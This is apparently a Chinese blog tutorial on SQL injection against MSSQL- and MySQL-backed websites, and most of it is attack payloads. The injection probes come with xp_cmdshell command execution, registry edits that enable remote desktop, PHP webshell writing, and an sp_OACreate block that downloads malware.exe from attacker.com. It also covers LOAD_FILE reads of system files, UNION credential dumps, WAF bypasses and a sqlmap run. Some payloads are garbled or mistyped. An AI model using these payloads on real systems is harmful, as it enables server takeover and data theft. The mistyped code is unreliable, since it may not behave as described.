ASPX+MSSQL注如;SQL盲注_数据库

注入点基本检查

在进行MSSQL注如公鸡时,首先要对MSSQL注如点进行以下基本的注入检查,以确定后面的公鸡实施方案。

判断数据库类型(在数据库内创建的每个对象在sysobjects系统表中都占有一行)

and exists (select * from sysobjects)

数据库帐号权限判断

and 1=(selectIS_SRVROLEMEMBER('sysadmin'))//判断是否是系统管理员

and 1=(selectIS SRVROLEMEMBER('db owner'))//判断是否是库权限

and 1=(selectIS SRVROLEMEMBER('public”))//判断是否为public权限

mssql注如点的基本检查

ASPX+MSSQL注如;SQL盲注_存储过程_02

利用MSSQL扩展存储注入公鸡

检查与恢复扩展存储

sa权限下扩展存储公鸡利用方法

xp_cmdshell扩展执行任意命令

xp_regwrite操作注册表与开启沙盒模式

利用sp makewebtash写入一句话木马

DBowner权限下的扩展公鸡利用

在Microsoft SQL Server中,扩展存储过程(Extended Stored Procedures)是一组允许SQL Server执行外部程序的函数。这些扩展存储过程可以执行各种任务,包括文件系统操作、网络通信和注册表访问。然而,这些功能也可能被恶意用户滥用,进行注入公鸡或其他形式的公鸡。

检查与恢复扩展存储

在检查扩展存储过程之前,首先需要确认是否有必要启用或禁用它们。默认情况下,一些危险的扩展存储过程是被禁用的,比如xp_cmdshell。如果你需要使用这些扩展存储过程,可以通过以下步骤启用它们:

  1. 使用具有足够权限的账户(如sa)登录到SQL Server。
  2. 执行以下命令启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE;
  • 1.
  • 2.
  • 3.
  • 4.

如果要禁用它们,只需将上述命令中的1改为0

sa权限下扩展存储公鸡利用方法

拥有sa权限的用户具有对SQL Server的完全控制权,这意味着他们可以执行任何扩展存储过程,包括那些可以执行系统命令的过程。

xp_cmdshell扩展执行任意命令

xp_cmdshell是一个强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。如果公鸡者获得了sa权限,他们可以使用xp_cmdshell执行任意命令,例如:

EXEC xp_cmdshell 'dir C:\';
  • 1.
xp_regwrite操作注册表与开启沙盒模式

xp_regwrite是一个可以用来修改Windows注册表的扩展存储过程。公鸡者可以使用它来更改注册表设置,甚至可能开启沙盒模式(如果系统支持的话)。例如:

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', REG_DWORD, 1;
  • 1.

利用sp_makewebtask写入一句话木马

sp_makewebtask是一个旧的扩展存储过程,它可以生成Web页面。虽然这个过程在新版本的SQL Server中已经被弃用,但在某些旧系统中仍然可用。公鸡者可能会尝试使用它来创建一个包含恶意代吗的Web页面,例如一句话木马。

DBowner权限下的扩展公鸡利用

即使没有sa权限,拥有DBowner权限的用户也可以执行一些危险的操作。例如,他们可以使用xp_cmdshell(如果启用了的话),或者尝试提升自己的权限。然而,DBowner权限通常受到更多的限制,因此公鸡面相对较小。

MSSOL注入猜解数据库技术

Having与group by查询爆表名与字段名orderby与数据库类型转换报错法查询爆库的另一种方法

union select查询注入技术

窃取哈希口令

Having与Group By查询爆表名与字段名

公鸡者可能会使用HAVINGGROUP BY子句来触发错误消息,从而获取表名和字段名。例如:

SELECT 1 FROM information_schema.tables GROUP BY table_name HAVING table_name LIKE '%table_name%'
  • 1.

在这个例子中,公鸡者试图通过模糊匹配来找到特定的表名。

Order By与数据库类型转换报错法

公鸡者可能会使用ORDER BY子句结合类型转换错误来获取字段数量或字段名。例如:

SELECT column_name FROM table_name ORDER BY 1;
  • 1.

如果公鸡者不断增加ORDER BY后面的数字,直到查询失败,就可以确定表中的字段数量。此外,公鸡者还可以尝试类型转换,如将字符串字段强制转换为整数,以触发错误消息并获取字段名。

Union Select查询注入技术

UNION SELECT是SQL注如中常用的一种技术,公鸡者可以使用它来合并恶意查询的结果与原始查询的结果。例如:

SELECT column_name FROM table_name WHERE id = 1 UNION SELECT column_name FROM another_table
  • 1.

在这个例子中,公鸡者试图从另一个表中选择数据,并将其与原始查询的结果合并。

窃取哈希口令

如果应用程序存储了用户的密码哈希,公鸡者可能会尝试通过SQL注如来获取这些哈希值。一旦获得哈希值,公鸡者可能会尝试破姐它们以获取明文密码。例如:

SELECT password_hash FROM users WHERE username = 'attacker_supplied_username'
  • 1.

ASPX+MSSQL注如;SQL盲注_存储过程_03

MSSQL注如点的基本检查

and @@version>0    //数据库版本信息

;declare @d int    //判断是否支持堆叠查询(多行语句;连接一起执行)

and (select count(1) from [sysobjects])>=0   //是否支持子查询

and user>0   //获取当前数据库用户名

and 1=convert(int,db_name())或1=(select db_name())     //当前数据库名

and 1=(select @@servername)     //本地服务器名

and 1=(select HAS DBACCESS('master'))    //判断是否有当前库的读取权限

在渗投测试或安全评估中,检查MSSQL注如点是识别潜在安全漏东的重要步骤。以下是一些基本的MSSQL注如检查命令,用于收集有关数据库环境的信息:

  1. 获取数据库版本信息
and @@version > 0
  • 1.

这个命令会返回SQL Server的版本信息。如果返回了版本信息,说明可能存在注入点。

  1. 判断是否支持堆叠查询
;declare @d int
  • 1.

堆叠查询意味着可以在单个请求中执行多个SQL语句。如果这个命令被执行并且没有引发错误,那么数据库支持堆叠查询。

  1. 检查是否支持子查询
and (select count(1) from sysobjects) >= 0
  • 1.

这个命令尝试执行一个子查询来统计sysobjects表中的记录数。如果返回结果,说明支持子查询。

  1. 获取当前数据库用户名
and user > 0
  • 1.

这个命令会返回当前数据库用户的名称。如果返回了用户名,说明可能存在注入点。

  1. 获取当前数据库名
and 1=convert(int, db_name())
or 1=(select db_name())
  • 1.
  • 2.

这两个命令都会尝试获取当前数据库的名称。如果返回了数据库名,说明可能存在注入点。

  1. 获取本地服务器名
and 1=(select @@servername)
  • 1.

这个命令会返回运行SQL Server实例的服务器名称。如果返回了服务器名,说明可能存在注入点。

  1. 判断是否有当前库的读取权限
and 1=(select HAS_DBACCESS('master'))
  • 1.

这个命令会检查当前用户是否有对master数据库的访问权限。如果返回了权限信息,说明可能存在注入点。

ASPX+MSSQL注如;SQL盲注_数据库_04

利用MSSOL扩展存储过程注入公鸡

扩展存储过程是MSSOL提供的特殊功能。所谓”扩展存储过程”,其实就是一个普通的windows系统DLL文件,按照某种规则实现了某些函数功能。MSSOL利用扩展存储可以实现许多强大的功能,包括对系统进行操作

检查是否启用xp_cmdshell

select count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell

检查xp_regread扩展存储

select count(*)FROM master.dbo.sysobjects where name= 'xp_regread

在Microsoft SQL Server中,扩展存储过程(Extended Stored Procedures)确实提供了一种机制,允许SQL Server执行外部程序,包括Windows DLL中的函数。这些扩展存储过程可以执行各种任务,包括文件系统操作、网络通信和注册表访问。然而,这些功能也可能被恶意用户滥用,进行注入公鸡或其他形式的公鸡。

检查是否启用xp_cmdshell

xp_cmdshell是一个非常强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。由于其潜在的危险性,默认情况下,xp_cmdshell在新版本的SQL Server中是被禁用的。要检查xp_cmdshell是否启用,可以使用以下查询:

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
  • 1.

如果返回的结果大于0,则表示xp_cmdshell存在于系统中。但是,仅仅存在并不意味着它是启用的。要检查它是否启用,还需要查看它的配置状态:

SELECT is_srvrolemember('sysadmin') -- 检查是否为sysadmin角色成员 
EXEC sp_configure 'xp_cmdshell' -- 检查xp_cmdshell的配置状态
  • 1.
  • 2.

检查xp_regread扩展存储

xp_regread是一个可以用来读取Windows注册表的扩展存储过程。要检查xp_regread是否存在,可以使用以下查询:

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE name = 'xp_regread'
  • 1.

如果返回的结果大于0,则表示xp_regread存在于系统中。

ASPX+MSSQL注如;SQL盲注_数据库_05

恢复扩展存储

exec master..sp_dropextendedproc 'xp_cmdshell'

exec master..sp_addextendedproc xp_cmdshell,'xplog70.dl!'

该语句利用系统中默认的“xplog70.dl”,自动恢复xp_cmdshell

如果xplog70.dll被删除或改名,可以自定义路径进行恢复exec master..sp addextendedproc'xp cmdshell','c:\xplog70.dll'

在Microsoft SQL Server中,xp_cmdshell是一个强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。出于安全考虑,通常建议禁用此功能,特别是在不需要它的情况下。然而,如果你确实需要使用xp_cmdshell,你可能需要重新添加它,尤其是在它已经被删除或禁用的情况下。

以下是如何恢复xp_cmdshell的步骤:

  1. 检查xp_cmdshell的状态:首先,你需要检查xp_cmdshell是否已经被删除或禁用。你可以通过执行以下查询来检查:
SELECT * FROM master.dbo.sysobjects WHERE name = 'xp_cmdshell'
  • 1.

如果返回结果为空,则表示xp_cmdshell不存在。

  1. 恢复xp_cmdshell:如果xp_cmdshell不存在,你可以使用sp_addextendedproc系统存储过程来重新添加它。默认情况下,xp_cmdshell依赖于xplog70.dll。以下是恢复xp_cmdshell的示例:
EXEC master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
  • 1.

如果xplog70.dll文件已经被删除或移动,你需要指定正确的路径。例如:

EXEC master..sp_addextendedproc 'xp_cmdshell', 'C:\path\to\xplog70.dll'
  • 1.

请确保指定的路径是正确的,并且你有权访问该文件。

  1. 配置SQL Server以允许xp_cmdshell:即使你已经重新添加了xp_cmdshell,你还需要配置SQL Server以允许使用它。这可以通过执行以下命令来完成:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
  • 1.
  • 2.
  • 3.
  • 4.

这些命令首先启用高级选项,然后启用xp_cmdshell

  1. 检查xp_cmdshell是否已成功恢复:最后,你应该再次检查xp_cmdshell是否已经成功恢复。你可以通过尝试执行一个简单的xp_cmdshell命令来检查:
EXEC xp_cmdshell 'dir'
  • 1.

如果xp_cmdshell已经成功恢复,这个命令将列出当前目录的内容。

ASPX+MSSQL注如;SQL盲注_SQL_06

sa权限下扩展存储公鸡利用方法

执行任意命令

exec master..xp_cmdshell 'dir c:

开启3389

xp_regwrite操作注册表与开启沙盒模式

利用sp_makewebtask写入一句话木马

sp_oacreate远程文件下载

在拥有sa权限的情况下,公鸡者可以利用SQL Server的扩展存储过程执行多种公鸡,包括但不限于执行任意命令、修改注册表、创建Web任务以及利用OLE Automation Procedures进行文件操作等。以下是这些公鸡方法的概述:

执行任意命令

使用xp_cmdshell扩展存储过程,公鸡者可以在SQL Server的上下文中执行任意操作系统命令。例如,列出C盘根目录下的文件和文件夹:

EXEC master..xp_cmdshell 'dir c:'
  • 1.

开启3389端口(远程桌面服务)

公鸡者可以通过修改注册表来开启或关闭目标系统的远程桌面服务(RDP),从而打开3389端口。这通常涉及到使用xp_regwrite扩展存储过程:

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', REG_DWORD, 0
  • 1.

操作注册表与开启沙盒模式

除了上述的xp_regwrite,还有其他几个与注册表相关的扩展存储过程,如xp_regdeletevaluexp_regdeletekeyxp_regread等,可以用来读取、写入或删除注册表项。

利用sp_makewebtask写入一句话木马

sp_makewebtask是一个旧的扩展存储过程,它可以生成并执行一个Web任务,用于将查询结果输出到一个HTML文件。公鸡者可以利用这一点来写入包含恶意代吗的文件,例如一句话木马:

DECLARE @output varchar(8000)
SET @output = 'C:\inetpub\wwwroot\evil.php'
EXEC sp_makewebtask @output, 'SELECT ''<?php eval($_POST[cmd]);?>'''
  • 1.
  • 2.
  • 3.

请注意,sp_makewebtask在较新版本的SQL Server中已被弃用。

利用sp_oacreate远程文件下载

sp_oacreate和相关的sp_oamethod可以用来创建OLE对象并调用其方法。公鸡者可以利用这一点来执行复杂的操作,例如下载文件:

DECLARE @obj int, @file varchar(255), @URL varchar(255)
EXEC sp_OACreate 'WinHttp.WinHttpRequest.5.1', @obj OUT
EXEC sp_OAMethod @obj, 'Open', NULL, 'GET', 'http://attacker.com/malware.exe', FALSE
EXEC sp_OAMethod @obj, 'Send'
EXEC sp_OAMethod @obj, 'ResponseText', @file OUTPUT
EXEC sp_OAMethod @obj, 'SaveAs', NULL, 'C:\path\to\save\malware.exe' 
EXEC sp_OADestroy @obj
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.

如果权限足够,利用MSSOL数据库的特性,是可以很轻易的入侵控制网站服务器的。但是很多时候注入点不一定能够执行存储过程,或者连接数据库的用户权限不够,那么就得猜解管理员表的字段、内容,进入后台想办法拿webshell

ASPX+MSSQL注如;SQL盲注_SQL_07

Having与group by查询爆表名与字段名

      Group by字段名1 having 1=1

order by 与数据库类型转换报错法

爆当前数据库名

and db name()=0-

爆所有数据库名

and db name(n)>0-

还可以利用orderby报错法继续进行公鸡,爆表名、字段名、字段内容

基于错误的SQL注如技术

爆当前数据库名

公鸡者可能会尝试使用以下类型的查询来获取当前数据库的名称:

and db_name()=0--
  • 1.

这里的db_name()是一个SQL Server函数,返回当前数据库的名称。如果数据库名称不等于0,那么这个条件将为真,否则为假。公鸡者可以通过观察应用程序的响应来判断条件是否为真。

爆所有数据库名

为了获取服务器上所有数据库的名称,公鸡者可能会尝试以下查询:

and db_name(n)>0--
  • 1.

这里的n是一个数字,代表数据库的ID。公鸡者会逐个尝试不同的n值,直到找到有效的数据库名称。

利用ORDER BY报错法

ORDER BY子句用于对结果集进行排序。如果公鸡者在ORDER BY子句中使用了不存在的列名,数据库可能会抛出一个错误,指出无效的列名。公鸡者可以利用这个错误来推断表结构。例如:

ORDER BY column_that_does_not_exist--
  • 1.

如果column_that_does_not_exist实际上是一个不存在的列名,数据库将返回一个错误,其中可能包含有关表结构的线索。

利用GROUP BYHAVING报错法

类似地,公鸡者也可以尝试使用GROUP BYHAVING子句来触发错误。例如:

GROUP BY column_that_does_not_exist HAVING 1=1--
  • 1.

如果column_that_does_not_exist不存在,这将导致一个错误,公鸡者可以从错误消息中提取信息。

ASPX+MSSQL注如;SQL盲注_SQL_08

ASPX+MSSQL注如;SQL盲注_存储过程_09

ASPX+MSSQL注如;SQL盲注_数据库_10

利用order by获取当前表的字段数

通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。

通过load file()函数来读取脚本代码或系统敏感文件内容,进行漏东分析或直接获取数据库连接账号、密码。

通过dumpfile/outfile函数导出获取webshell

使用union select联合查询来获取想要的数据库信息,包括数据库连接、数据库版本等

利用ORDER BY获取当前表的字段数

公鸡者可以使用ORDER BY子句来猜测表中的字段数量。通过逐个增加ORDER BY后面的字段索引,直到查询失败,公鸡者可以确定表中的字段数。例如:

ORDER BY 1-- 
ORDER BY 2--
...
ORDER BY n-- (直到出现错误)
  • 1.
  • 2.
  • 3.
  • 4.

当查询因为ORDER BY指定的字段不存在而失败时,前一个成功的ORDER BY子句所使用的数字就是表中的字段数。

使用LOAD_FILE()函数读取敏感文件

LOAD_FILE()是MySQL的一个函数,用于读取文件内容并将其作为字符串返回。公鸡者可以利用这个函数来读取服务器上的敏感文件,如配置文件、脚本代码等。例如:

SELECT LOAD_FILE('/etc/passwd')--
  • 1.

为了使用LOAD_FILE(),公鸡者需要知道文件的完整路径,并且当前用户需要有足够的权限来读取该文件。

使用DUMPFILE/OUTFILE导出Webshell

公鸡者可以使用DUMPFILEOUTFILE语句将恶意代吗写入服务器上的文件,从而创建一个Webshell。例如:

SELECT '<?php eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/shell.php'
  • 1.

这将在服务器的Web目录下创建一个名为shell.php的文件,其中包含一个PHP后们。一旦上传,公鸡者就可以通过HTTP请求与这个后们交互,从而控制服务器。

使用UNION SELECT联合查询获取数据库信息

UNION SELECT是一种常见的SQL注如技术,用于从数据库中提取信息。公鸡者可以构造一个包含UNION SELECT的查询,以获取数据库的元数据、用户凭据等信息。例如:

SELECT column_from_original_query UNION SELECT username, password FROM users--
  • 1.

在这个例子中,公鸡者试图从users表中获取usernamepassword字段的值。

ASPX+MSSQL注如;SQL盲注_存储过程_11

使用SQLmap 练习

ASPX+MSSQL注如;SQL盲注_数据库_12

用SQLmap跑这种注入的时候

可以用SQLmap去跑的

ASPX+MSSQL注如;SQL盲注_SQL_13

这是注入点的位置和url

显示点的位置在另一个url里

ASPX+MSSQL注如;SQL盲注_存储过程_14

可以在命令里修改一下,改成这样的格式

sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit" --cookie="security=high;PHPSESSID=d1m630g590v2if65n6vduitu3f" --second-url="http://127.0.0.1:8081/dvwa/vulnerabilities/sqli" --dbs
  • 1.
  • sqlmap -u "http://127.0.0.1:8081/dvwa/vulnerabilities/sqli/session-input.php#":这部分指定使用sqlmap工具,并通过-u选项提供了一个URL,该URL指向一个可能存在SQL注如漏动的页面。
  • --data="id=1&Submit":这个选项告诉sqlmap要发送的数据(POST请求中的数据)。在这个例子中,数据是id=1Submit,这表明公鸡者正在尝试注入的参数是id
  • --cookie="security=high;PHPSESSID=d1m630g590v2if65n6vduitu3f":这个选项设置了HTTP请求中的Cookie头。在这个例子中,有两个Cookie值:security=highPHPSESSID=d1m630g590v2if65n6vduitu3f。这可能是为了模拟一个已登录的用户会话。
  • --second-url="http://127.0.0.1:8081/dvwa/vulnerabilities/sqli":这个选项可能是用来指定一个备用URL,以便在某些情况下(例如,当主URL的响应不包含数据库错误信息时)进行额外的测试。不过,这个选项的使用并不常见,可能是误用了--second-request选项,后者用于在盲注情况下发送第二个请求以获取更多信息。
  • --dbs:这个选项告诉sqlmap要枚举目标服务器上的所有数据库。sqlmap将尝试找出所有可用的数据库名称。

综上所述,这个sqlmap命令的目的是对指定的URL执行SQL注如测试,尝试通过POST参数id进行注入,同时模拟一个带有特定Cookie的HTTP请求。如果发现注入点,sqlmap将进一步枚举目标服务器上的所有数据库。

第一个url位置放的是注入点

ASPX+MSSQL注如;SQL盲注_数据库_15

ASPX+MSSQL注如;SQL盲注_SQL_16

用bp抓包,将输入上传到内容和cookie复制出来,填到SQLmap里

ASPX+MSSQL注如;SQL盲注_SQL_17

--data 填入上传字段数据  --second 回显url

ASPX+MSSQL注如;SQL盲注_数据库_18

单行注释,#后面直接加内容

多行注释,/**/中间可以跨行

单行注释,--后面必须要加空格

多行注释,/**/中间可以跨行

ASPX+MSSQL注如;SQL盲注_数据库_19

内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些MySQL特有的语句放在 /!…"/中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别、执行。

/*50001*/表示数据库版本>=5.00.01时中间的语句才会执行。

在SQL注如中,内联注释常用来绕过waf。

在MySQL中,内联注释是一种特殊的注释形式,它允许开发者在SQL语句中嵌入特定版本的代码,这些代码只有在运行该SQL语句的数据库版本符合指定的条件时才会被执行。这种注释的形式如下:

/*! MySQL-specific code */
  • 1.

在这个格式中,!后面的数字表示只有当MySQL的版本号大于或等于这个数字时,注释中的代码才会被执行。例如:

/*!50001 SQL_NO_CACHE */ SELECT * FROM table;
  • 1.

在这个例子中,SQL_NO_CACHE指令只有在MySQL版本为5.0.01或更高时才会生效。如果是在低于这个版本的MySQL服务器上运行,这条指令会被当作普通注释处理,不会影响查询的执行。

这种内联注释功能最初是为了保持与旧版本MySQL的兼容性,同时也为了使得从MySQL导出的SQL脚本能够在其他数据库系统上运行,即使那些系统不支持MySQL特定的语法。

在SQL注如公鸡中,公鸡者可能会利用内联注释来绕过Web应用防火墙(WAF)或其他安全机制。因为内联注释对于非MySQL数据库来说是不执行的,所以WAF可能不会将注释中的恶意代吗识别为威胁。公鸡者可以通过精心构造的内联注释来隐藏他们的恶意SQL代吗,从而绕过WAF的检测。

例如,公鸡者可能会构造如下形式的SQL注如尝试:

' OR 1=1 /*! UNION ALL SELECT NULL, NULL, CONCAT(user,0x3a,password) FROM mysql.user -- */'
  • 1.

在这个例子中,UNION ALL SELECT语句被包含在内联注释中,如果目标数据库不是MySQL或者版本低于注释中指定的版本,那么这段代码就不会被执行,从而可能绕过WAF的检测。然而,如果目标数据库是MySQL且版本符合条件,那么这段代码就会执行,可能导致敏感数据泄露。

因此,了解内联注释的工作原理对于编写安全的SQL代码和防御SQL注如公鸡都是非常重要的。开发者应该确保他们的应用程序对输入进行适当的验证和转义,以防止SQL注如公鸡,同时WAF和其他安全工具也应该更新规则来识别和阻止利用内联注释的公鸡。

限制 limit

ASPX+MSSQL注如;SQL盲注_SQL_20

在手工SQL注如测试中,LIMIT子句可以用来帮助公鸡者逐步提取数据库中的信息,尤其是在应用程序使用了基于LIMIT的分页机制时。以下是一些LIMIT在手工SQL注如测试中的用法及示例:

1. 分页查询中的数据提取

如果应用程序使用LIMIT进行分页查询,公鸡者可以通过修改LIMIT子句中的偏移量和行数来获取不同的数据页。例如,假设原始查询是这样的:

SELECT * FROM users WHERE id = $id LIMIT 10 OFFSET 0;
  • 1.

公鸡者可以通过注入改变OFFSET值来获取下一页的数据:

1' UNION SELECT * FROM users WHERE id != $id LIMIT 10 OFFSET 10-- -
  • 1.

2. 逐步提取数据

在某些情况下,公鸡者可能需要逐步提取大量数据,以避免触发应用程序的异常或限制。使用LIMIT可以实现这一点:

1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 0-- -
  • 1.

然后逐步增加OFFSET值来获取更多数据:

1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 1-- -
1' UNION SELECT column_name FROM table_name LIMIT 1 OFFSET 2-- - 
...
  • 1.
  • 2.
  • 3.

3. 绕过限制

有时候,应用程序会对查询结果的数量进行限制,以防止大量数据的泄露。公鸡者可以使用LIMIT来绕过这种限制:

1' UNION SELECT column_name FROM table_name LIMIT 1000000 OFFSET 0-- -
  • 1.

4. 结合其他技术

LIMIT也可以与其他SQL注如技术结合使用,例如布尔盲注或时间延迟注入,以提高数据提取的效率:

1' AND (SELECT COUNT(*) FROM information_schema.tables LIMIT 1) = 1-- -
  • 1.

或者使用时间延迟:

1' AND IF((SELECT COUNT(*) FROM information_schema.tables LIMIT 1) = 1, SLEEP(5), 0)-- -
  • 1.

注意事项

  • 在使用LIMIT进行SQL注如测试时,公鸡者需要注意不要触发应用程序的安全机制,如登录失败次数限制、请求频率限制等。
  • 公鸡者应该遵循道德准则和法律法规,仅在授权的情况下进行渗投测试,不得非法获取或滥用数据。
  • 开发者应该采取措施防止SQL注如,包括使用参数化查询或预编译语句,以及对用户输入进行严格的验证和转义。

请注意,上述内容仅供学习和理解SQL注如测试的技术细节,实际操作时应严格遵守相关法律法规和道德标准。未经授权的渗投测试是非法的。

ASPX+MSSQL注如;SQL盲注_数据库_21

这种情况下更多的是在盲注的情况下,使用这个参数

ASPX+MSSQL注如;SQL盲注_SQL_22

注入点信息检查

利用orderby查询检查字段数目,提交如下语句:

order by 10//返回错误

order by 5//返回错误

order by 4//返回正确

证明该注入点处查询字段数量为4。使用unionselect查询数据库的版本信息,以及连接的用户名和数据库名等,提交如下链接:

and 1=2 union select 1,2,3,4

load file获取敏感信息

and 1=2 union select 1,load file('c:lboot.ini').3.4

and 1=2 union select 1,load file(0x633A5C626F6F742E696E69),3,4

在MySQL中,LOAD_FILE()函数用于读取文件的内容并将其作为字符串返回。这个函数在SQL注如公鸡中可以被用来读取服务器上的敏感文件,如果公鸡者能够找到一个合适的注入点并且满足以下条件:

  1. 当前用户具有足够的权限来读取文件系统中的文件。
  2. 文件的路径是已知的或者是可猜测的。
  3. 文件的大小不超过max_allowed_packet设置的值。

以下是一个使用LOAD_FILE()函数进行SQL注如的示例:

and 1=2 union select 1,load_file('c:/boot.ini'),3,4
  • 1.

在这个示例中,公鸡者试图读取Windows系统中的boot.ini文件。1=2是一个恒假的条件,用于构造一个永远不会返回结果的查询,而union select则用于合并正常查询和恶意查询的结果。公鸡者指定了四个选择项(1, load_file('c:/boot.ini'), 3, 4),其中第二个选择项是LOAD_FILE()函数,用于读取文件内容。

另一个示例使用了十六进制编码的文件路径:

and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69),3,4
  • 1.

这里,0x633A5C626F6F742E696E69c:\boot.ini的十六进制编码。使用十六进制编码可以绕过某些输入过滤器,这些过滤器可能不允许直接输入文件路径。

需要注意的是,LOAD_FILE()函数的使用受到很多限制,包括文件必须位于服务器主机上,文件必须是可读的,并且文件的路径必须完全指定(即相对路径不起作用)。此外,如果服务器的配置不当,比如没有正确设置secure_file_priv选项,也可能导致LOAD_FILE()函数无法使用。

ASPX+MSSQL注如;SQL盲注_数据库_23

数据库允许导入导出(secure_file_priv)

当前用户用户文件操作权限(File_priv)

在MySQL中,secure_file_priv参数和File_priv权限都与文件操作有关,但它们的作用和设置方式有所不同。

secure_file_priv 参数

secure_file_priv参数是一个全局变量,用于控制LOAD DATA INFILESELECT ... INTO OUTFILE语句的行为。这个参数的设置可以防止潜在的安全风险,因为它限制了数据导入和导出操作的文件路径。

  • 空值(NULL): 禁止所有LOAD DATA INFILESELECT ... INTO OUTFILE操作。
  • 非空值: 允许LOAD DATA INFILESELECT ... INTO OUTFILE操作,但文件必须位于指定的目录中。

例如:

SET GLOBAL secure_file_priv = '/path/to/allowed/directory/';
  • 1.

这将允许在指定目录及其子目录中进行文件导入和导出操作。

File_priv 权限

File_priv权限是一个用户级别的权限,决定了用户是否有权执行文件操作相关的语句,如LOAD DATA INFILESELECT ... INTO OUTFILE

  • 授予File_priv权限:
GRANT FILE ON *.* TO 'username'@'host';
  • 1.
  • 撤销File_priv权限:
REVOKE FILE ON *.* FROM 'username'@'host';
  • 1.

结合使用

为了确保安全,通常建议将secure_file_priv设置为一个受限的目录,并且只授予可信用户File_priv权限。这样可以防止未经授权的文件操作,同时允许必要的数据导入和导出。

示例

假设我们有一个用户import_user,我们希望他能够从一个特定目录导入数据,但不允许其他潜在危险的操作。

  1. 设置secure_file_priv参数:
SET GLOBAL secure_file_priv = '/path/to/allowed/directory/';
  • 1.
  1. 授予import_user文件操作权限:
GRANT FILE ON *.* TO 'import_user'@'localhost';
  • 1.

这样,import_user就可以在指定目录中使用LOAD DATA INFILESELECT ... INTO OUTFILE语句,但其他用户和不受信任的用户将无法执行这些操作。

ASPX+MSSQL注如;SQL盲注_数据库_24

爆字段

ASPX+MSSQL注如;SQL盲注_数据库_25

sql盲注

ASPX+MSSQL注如;SQL盲注_SQL_26

寻找SQL盲注

网站通常使用错误页面来替换数据库错误,从而推断SQL注如是否可行。

使用时间延迟技术来确认公鸡者的SOL是否已执行,有时也可以执行能够观察到输出结果的操作系统命令。

ASPX+MSSQL注如;SQL盲注_数据库_27

基于时间延迟

使用延迟数据库查询,每种数据库都有自己的引入延迟的技巧。

MySOL延迟

根据版本的不同,MVSOL提供了两种方法来向查询中引入延迟。可以使用SLEEP()函数将查询暂停固定的秒数(必要时可以是微妙)。

or和union都是都为真才输出结果吗

不是的,ORUNION在SQL中有不同的逻辑和用途。

OR 运算符

OR是一个逻辑运算符,用于组合条件语句。当使用OR连接两个条件时,只要其中一个条件为真(TRUE),整个表达式的结果就为真。换句话说,OR运算符表示的是“或”的关系,即至少一个条件满足即可。

例如:

SELECT * FROM users WHERE age > 30 OR country = 'USA';
  • 1.

在这个查询中,如果用户的年龄大于30岁或者用户的国家是美国,那么该用户的信息就会被包含在查询结果中。

UNION 运算符

UNION是一个集合运算符,用于合并两个或多个SELECT语句的结果集。UNION要求两个查询的列数必须相同,对应列的数据类型也必须兼容。UNION会自动去除重复的行,如果想要保留所有的行,包括重复的行,可以使用UNION ALL

例如:

SELECT column1 FROM table1
UNION
SELECT column1 FROM table2;
  • 1.
  • 2.
  • 3.

在这个例子中,UNION会将table1table2column1的所有唯一值合并成一个结果集。

总结来说,OR是一个逻辑运算符,用于条件判断,只要有一个条件为真,整个表达式就为真;而UNION是一个集合运算符,用于合并查询结果,它并不关心每个单独查询的条件是否为真,只关心最终结果集的合并。

ASPX+MSSQL注如;SQL盲注_存储过程_28

substr(bin(ascii(substr(database(),1,1)))
  • 1.

这段代码是一系列函数的嵌套调用,主要用于在SQL注如公鸡中获取数据库名称的第一个字符的ASCII值,并将该值转换为二进制字符串。下面是对这段代码的逐个解释:

  1. SUBSTR(string, start, length):这是一个字符串截取函数,用于从给定的字符串中截取一部分。在这个例子中,string参数是database()start参数是1,length参数是1。这意味着它会截取数据库名称的第一个字符。
  2. ASCII(char):这是一个字符转换函数,用于获取给定字符的ASCII值。在这个例子中,char参数是SUBSTR(database(),1,1)的结果,即数据库名称的第一个字符。这个函数会返回该字符的ASCII值。
  3. BIN(number):这是一个数值转换函数,用于将给定的十进制数转换为二进制字符串。在这个例子中,number参数是ASCII(SUBSTR(database(),1,1))的结果,即数据库名称第一个字符的ASCII值。这个函数会返回该值对应的二进制字符串。

综合起来,这段代码的效果是获取当前数据库名称的第一个字符,然后将该字符的ASCII值转换为二进制字符串。这在SQL注如公鸡中可能用于逐步提取数据库信息,因为公鸡者可以通过这种方式获取数据库名称的每个字符,从而得知完整的数据库名称。

ASPX+MSSQL注如;SQL盲注_数据库_29